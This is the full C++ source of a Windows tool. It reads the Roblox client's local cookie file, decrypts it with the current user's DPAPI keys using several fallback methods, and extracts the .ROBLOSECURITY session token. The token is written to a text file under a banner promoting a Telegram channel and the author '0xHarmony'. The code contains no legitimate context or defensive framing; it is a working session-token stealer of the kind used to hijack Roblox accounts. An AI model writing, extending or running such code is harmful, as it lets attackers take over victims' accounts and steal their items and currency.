#define NOMINMAX
#include <windows.h>
#include <dpapi.h>
#include <fstream>
#include <vector>
#include <string>
#include <sstream>
#include <cstring>

#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "rpcrt4.lib")

std::string DecryptDPAPI(const std::vector<BYTE>& encryptedData) {
    if (encryptedData.empty()) {
        throw std::runtime_error("Empty data to decrypt");
    }

    DATA_BLOB input;
    input.pbData = const_cast<BYTE*>(encryptedData.data());
    input.cbData = static_cast<DWORD>(encryptedData.size());

    DATA_BLOB output;
    SecureZeroMemory(&output, sizeof(output));

    if (!CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0, &output)) {
        DWORD err = GetLastError();
        throw std::runtime_error("CryptUnprotectData failed (0x" + std::to_string(err) + ")");
    }

    std::string result(reinterpret_cast<char*>(output.pbData), output.cbData);
    LocalFree(output.pbData);
    return result;
}

std::vector<BYTE> ReadFileContent(const std::string& path) {
    std::ifstream file(path, std::ios::binary | std::ios::ate);
    if (!file) {
        throw std::runtime_error("Cannot open file: " + path);
    }

    std::streamsize size = file.tellg();
    if (size <= 0) {
        throw std::runtime_error("File is empty: " + path);
    }

    file.seekg(0, std::ios::beg);
    std::vector<BYTE> buffer(static_cast<size_t>(size));
    if (!file.read(reinterpret_cast<char*>(buffer.data()), size)) {
        throw std::runtime_error("Failed to read file: " + path);
    }

    return buffer;
}

std::string ExtractRoblosecurity(const std::string& cookieData) {
    std::istringstream stream(cookieData);
    std::string line;
    while (std::getline(stream, line)) {
        if (!line.empty() && line.back() == '\r') line.pop_back();

        auto pos = line.find(".ROBLOSECURITY");
        if (pos == std::string::npos) continue;

        auto tabBefore = line.rfind('\t', pos);
        if (tabBefore == std::string::npos) continue;

        auto valueStart = line.find('\t', pos);
        if (valueStart == std::string::npos) {
            valueStart = pos + 14;
            if (valueStart >= line.size()) continue;
            while (valueStart < line.size() && (line[valueStart] == '\t' || line[valueStart] == ' '))
                valueStart++;
            auto semiPos = line.find(';', valueStart);
            if (semiPos != std::string::npos) {
                return line.substr(valueStart, semiPos - valueStart);
            }
            return line.substr(valueStart);
        }

        valueStart++;
        while (valueStart < line.size() && (line[valueStart] == '\t' || line[valueStart] == ' '))
            valueStart++;

        auto semiPos = line.find(';', valueStart);
        if (semiPos != std::string::npos) {
            return line.substr(valueStart, semiPos - valueStart);
        }
        return line.substr(valueStart);
    }
    return "";
}

std::string TryDirectDecrypt(const std::vector<BYTE>& data) {
    try {
        return DecryptDPAPI(data);
    }
    catch (...) {
        return "";
    }
}

static const char BASE64_TABLE[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

bool IsBase64Char(char c) {
    return (c >= 'A' && c <= 'Z') ||
        (c >= 'a' && c <= 'z') ||
        (c >= '0' && c <= '9') ||
        c == '+' || c == '/' || c == '=';
}

std::vector<BYTE> Base64Decode(const std::string& input) {
    std::string clean;
    for (char c : input) {
        if (IsBase64Char(c)) clean += c;
    }

    if (clean.empty()) return {};

    std::vector<BYTE> output;
    output.reserve(clean.size() * 3 / 4);

    int val = 0, valb = -8;
    for (unsigned char c : clean) {
        if (c == '=') break;
        const char* p = strchr(BASE64_TABLE, c);
        if (!p) continue;
        val = (val << 6) + static_cast<int>(p - BASE64_TABLE);
        valb += 6;
        if (valb >= 0) {
            output.push_back(static_cast<BYTE>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return output;
}

bool TryBase64Format(const std::vector<BYTE>& data) {
    std::string text(data.begin(), data.end());
    std::istringstream stream(text);
    std::string line;

    while (std::getline(stream, line)) {
        while (!line.empty() && (line.back() == '\r' || line.back() == '\n' || line.back() == ' '))
            line.pop_back();
        while (!line.empty() && (line.front() == ' ' || line.front() == '\t'))
            line.erase(line.begin());
        if (line.empty()) continue;

        auto eqPos = line.find('=');
        if (eqPos == std::string::npos) continue;

        auto encKey = Base64Decode(line.substr(0, eqPos));
        auto encVal = Base64Decode(line.substr(eqPos + 1));

        if (!encKey.empty()) {
            try { std::string key = DecryptDPAPI(encKey); (void)key; } catch (...) {}
            if (!encVal.empty()) {
                try { std::string value = DecryptDPAPI(encVal); (void)value; return true; } catch (...) {}
            }
        }
        else if (!encVal.empty()) {
            try { std::string value = DecryptDPAPI(encVal); (void)value; return true; } catch (...) {}
        }
    }
    return false;
}

std::string TryBlobScanning(const std::vector<BYTE>& data) {
    const BYTE dpapiHeader[] = { 0x01, 0x00, 0x00, 0x00 };
    size_t searchEnd = data.size() > 1024 * 1024 ? 1024 * 1024 : data.size();

    for (size_t i = 0; i < searchEnd - sizeof(dpapiHeader); i++) {
        if (memcmp(data.data() + i, dpapiHeader, sizeof(dpapiHeader)) == 0) {
            size_t remaining = data.size() - i;
            if (remaining < 20 || remaining > 8192) continue;

            std::vector<BYTE> potentialBlob(data.begin() + i, data.end());
            try {
                return DecryptDPAPI(potentialBlob);
            }
            catch (...) {}
            i += 4;
        }
    }
    return "";
}

std::string DecryptJsonCookies(const std::vector<BYTE>& data) {
    std::string text(data.begin(), data.end());

    bool isJson = false;
    for (char c : text) {
        if (c == '{' || c == '[') { isJson = true; break; }
        if (!std::isprint(static_cast<unsigned char>(c)) && c != '\n' && c != '\r' && c != '\t')
            return "";
    }
    if (!isJson) return "";

    auto pos = text.find("\"CookiesData\"");
    if (pos == std::string::npos) return "";

    auto colonPos = text.find(':', pos);
    if (colonPos == std::string::npos) return "";

    auto quote1 = text.find('"', colonPos + 1);
    if (quote1 == std::string::npos) return "";

    auto quote2 = text.find('"', quote1 + 1);
    if (quote2 == std::string::npos) return "";

    std::string b64 = text.substr(quote1 + 1, quote2 - quote1 - 1);
    auto decoded = Base64Decode(b64);
    if (decoded.empty()) return "";

    try {
        std::string decrypted = DecryptDPAPI(decoded);
        return ExtractRoblosecurity(decrypted);
    }
    catch (...) {
        return "";
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    std::string filePath;
    int argc = 0;
    LPWSTR* argvW = CommandLineToArgvW(GetCommandLineW(), &argc);
    if (argvW && argc > 1) {
        int len = WideCharToMultiByte(CP_UTF8, 0, argvW[1], -1, nullptr, 0, nullptr, nullptr);
        filePath.resize(len);
        WideCharToMultiByte(CP_UTF8, 0, argvW[1], -1, &filePath[0], len, nullptr, nullptr);
        filePath.pop_back();
        LocalFree(argvW);
    }
    else {
        if (argvW) LocalFree(argvW);
        char* localAppData = nullptr;
        size_t len = 0;
        if (_dupenv_s(&localAppData, &len, "LOCALAPPDATA") == 0 && localAppData) {
            filePath = std::string(localAppData) + "\\Roblox\\LocalStorage\\RobloxCookies.dat";
            free(localAppData);
        }
        else {
            return 1;
        }
    }

    char exePathBuf[MAX_PATH];
    GetModuleFileNameA(nullptr, exePathBuf, MAX_PATH);
    std::string exePath(exePathBuf);
    auto slashPos = exePath.find_last_of("\\");
    std::string reportPath = (slashPos != std::string::npos)
        ? exePath.substr(0, slashPos + 1) + "decrypted.txt"
        : "decrypted.txt";
    std::ofstream reportFile(reportPath);
    if (!reportFile) return 1;

    std::vector<BYTE> fileData;
    try {
        fileData = ReadFileContent(filePath);
    }
    catch (...) {
        return 1;
    }

    std::string cookie = DecryptJsonCookies(fileData);

    if (cookie.empty()) {
        cookie = TryDirectDecrypt(fileData);
        if (cookie.empty()) cookie = TryBlobScanning(fileData);
        if (cookie.empty()) { TryBase64Format(fileData); }
        if (!cookie.empty()) cookie = ExtractRoblosecurity(cookie);
    }

    if (!cookie.empty()) {
        reportFile << ":: https://t.me/harmonyxbt ::"
                   << "\n:: DPAPI Decryption by 0xHarmony ::"
                   << "\n"
                   << "\n" << cookie;
    }

    reportFile.close();
    return cookie.empty() ? 1 : 0;
}
